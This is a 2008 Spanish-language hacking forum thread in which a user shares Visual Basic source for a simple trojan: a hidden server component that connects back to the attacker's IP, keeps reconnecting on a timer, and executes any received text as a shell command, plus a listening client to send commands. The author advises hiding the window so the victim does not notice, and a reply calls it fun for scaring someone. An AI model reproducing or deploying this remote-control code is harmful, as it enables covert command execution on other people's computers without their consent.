hacker


Ingresar con nombre de usuario, contraseña y duración de la sesión
| Portal Hacker | Editorial | Descargas | Ezine |
Inicio Ayuda Ingresar Registrarse
19 de Noviembre de 2008, 03:15:24
Noticias: Caracteres maximos de las firmas
Para ver este enlace Registrate o Inicia Sesion
> leer

+  Foros pOrtal Hacker
|-+  Programacion
| |-+  Programación en general
| | |-+  Visual Basic (Moderadores: ranefi, crypto136, ziBboh, >> s E t H <<)
| | | |-+  Pequeño Troyano
0 Usuarios y 1 Visitante están viendo este tema. « anterior próximo »
Páginas: [1] Ir Abajo Imprimir
Autor Tema: Pequeño Troyano  (Leído 264 veces)
Diuke
Recien llegado
*
Desconectado Desconectado

Mensajes: 7


Shine On


Ver Perfil
« : 22 de Junio de 2008, 10:08:45 »

Antes que nada, aclaro que esto lo hice en parte con lo que aprendi de manuales, y algunas partes de otros codigos que lei y logré entender. No me interesa si lo publican donde quieran como propio ya que la idea de lo que a continuacion voy a publicar tiene como objetivo, por sobre todas las cosas,  contribuir al conocimiento y a la formacion de quien le interese.

No soy un profesional, y no llevo mas de 6 meses investigando en este tema.
Lo publico por dos razones: compartirlo con el resto de la comunidad de este foro, la cual me ah dado las bases para crear este mini codigo; y para tomar criticas, sugerencias, etc.

Publique el tema como "Troyano", pero no estoy muy seguro que funcione como tal, o por lo menos no es el unico uso que se le puede dar al codigo. Tengo miles de ideas, pero de eso encarguense ustedes, yo les dejo la base, usenlo como quieran, para lo que quieran.

El programa, asi como esta, lo que hace basicamente es dar comandos CMD en la PC victima. Es algo completamente sencillo, y los usos no son muy grandes, pero la idea es ver como funcionan los Winsocks, y ver como se crea la conexion, de ahi en mas, pueden crear infinidades de cosas en el codigo, como crear commadbuttons en el Cliente para automatizar lineas de codigos que se ejecutaran en el server (como ser el uso de "telnet", el cual no voy a explicar, hay hermosos manuales y tutoriales dentro de este foro, o mismo el uso del siempre util, NetCat, el cual previamente deberia estar dentro de la PC victima.. pero este es otro tema). En Fin, imaginen y creen.

Trato de ser lo mas detallado posible para quienes no son grandes conocedores de Programacion en VB.
Bueno, no los aburro mas con la charla.

Como todo troyano, consta de dos partes: Cliente y Servidor.
Empezamos con el servidor:

Tenemos que agregar el Complemento "Microsoft Winsock Control" al cual yo le llamé "WS" en PROJECT > COMPONENTS O con el atajo CONTROL+T y un timer.

'cargando el Form, especificamos IP y puerto a conectar el Winsock (al cual yo llame "WS")
Private Sub Form_Load()
Dim ip As String
Dim port As Integer
On Error Resume Next
ip = "ACÁ VA TU IP" 'especificamos la IP a la que se conectara el servidor
port = 21 'yo eleji el puerto 21 para dar un ejemplo, usen el que mas les guste o crean conveniente
WS.RemoteHost = ip
WS.RemotePort = port
WS.Connect 'conectamos el winsock
Timer1.Interva l = 600 'activamos el timer1 a 600 milisegundos (abajo vemos que hace el timer)

End Sub
' timer que se encarga de mantener la conexion constantemente abierta
Private Sub Timer1_Timer()
    If Not WS.State = 7 Then 'si el winsock NO esta Conectado
        WS.Close 'lo cerramos
        WS.Connect 'lo abrimos
    Else
    End If
End Sub
'una vez conectado el winsock
'manejamos los datos que lleguen desde el Cliente
Private Sub WS_DataArrival(ByVal bytesTotal As Long)
On Error GoTo error
Dim datos As String
WS.GetData datos 'los datos recibidos los manejaremos como "datos"
    'Un pequeño "If datos" de ejemplo.
    If datos = "hola" Then
        MsgBox "Hola Cheesy"
    Else
    End If
Shell datos 'el resto de los datos se ejecutan como CMD lines.
error:
End Sub

Ahi vemos como se conecta el Winsock a un host que le especificamos con nuestra IP o DNS y el puerto; y un timer que reconecta en caso de perderse la conexión; y el manejo de los datos recibvidos desde el Cliente. (NOTA: Si lo van a usar como un troyano, recuerden poner en las propiedades del Form Visible a FALSE, para que la victima no vea el troyano ejecutandose)

Vamos con el Cliente:
Van a nacesitar: Un winsock(ya explique como se agrega), 2 CommandButton, un text box, un Timer y una Label.

'Comandbutton que se encarga de enviar los datos
Private Sub enviar_Click()
On Error GoTo error
    WS.SendData tb1.Text 'enviamos los datos tipeados en el textbox, al cual llame "tb1"
error:
    If Not WS.State = 7 Then 'Si hay un error ponemos el label1 a "desconectado"
        Label1.Caption = "Desconectado.. ."
    End If
End Sub 'NOTA: NO llamamos a la reconexion, de eso se encarga el Timer
'Ponemos el cliente a la escucha con el button "escuchar"
Private Sub escuchar_Click()
On Error Resume Next
    Label1.Caption = "Escuchando..." 'Ponemos la label1 en "Escuchando.."
    WS.LocalPort = 6000 'elegimos el puerto (como antes, elijan el que mas les guste)
    WS.Close 'cerramos el Winsock
    WS.Listen 'y lo volvemos a abrir (evitamos errores)
    Timer1.Interva l = 3000 'le decimos al timer1 que se ejecute cada 3000 milisegundos (3 segundos)
End Sub
'Timer que se encarga de reconectar en caso de perder la conexion
Private Sub Timer1_Timer()
On Error GoTo error
    If Not WS.State = 7 Then
        Label1.Caption = "Se perdio la conexion.. Escuchando" 'Cambiamos el label1
        Call escuchar_Click 'Llamamos al "escuchar_Click para la reconexion"
    Else
    End If
error:
End Sub
'Conectado al server
Private Sub ws_ConnectionR equest(ByVal requestID As Long)
On Error GoTo error
    Label1.Caption = "Conectado" 'label1 a "Conectado"
    WS.Close 'cerramos el Winsock
    WS.Accept requestID 'aceptamos la conexion
    Timer1.Interva l = 3000 'ponemos el timer1 a 3000 ms
error:
End Sub

Creo que esta mas que claro como funciona el Cliente, si lograron entender el server.

Bueno.. Eso es el primer programa con controles Winsock que logre hacer. Es sencillo, y poco util, pero hay que caminar para aprender a correr, no?.

Escucho criticas, detalles, consultas, etc..

Un saludo a todos, y gracias a los miembros de la comunidad por ayudarme a crear este programita, que si bien no es WOW, es un comienzo..

« Última modificación: 02 de Julio de 2008, 07:03:26 por Diuke » En línea

Private Sub Firma_Load()
firma.caption = "Solo el tiempo es dueño de la verdad"
End Sub
Rakzo-Fimbres
NZ3
***
Desconectado Desconectado

Mensajes: 534


Caminando por las calles de la internet...


Ver Perfil
« Respuesta #1 : 22 de Junio de 2008, 11:14:15 »

Se ve bueno men, deberias de agregarle al servidor otro form para las conversaciones .. es divertido escamarlo xD
En línea


Para ver este enlace Registrate o Inicia Sesion


Para ver este enlace Registrate o Inicia Sesion
¿Quieres iniciarte en Photoshop CS?


Para ver este enlace Registrate o Inicia Sesion
¿Deseas abrir tu aplicacion .NET sin .NET Framework instalado?
Páginas: [1] Ir Arriba Imprimir 
« anterior próximo »
Ir a:  


Ingresar con nombre de usuario, contraseña y duración de la sesión

Powered by SMF 1.1.6 | SMF © 2006-2008, Simple Machines LLC hacker

Juegos gratis - Articulos PHP - Juegos - Trucos - Letras - Juegos - Juegos Online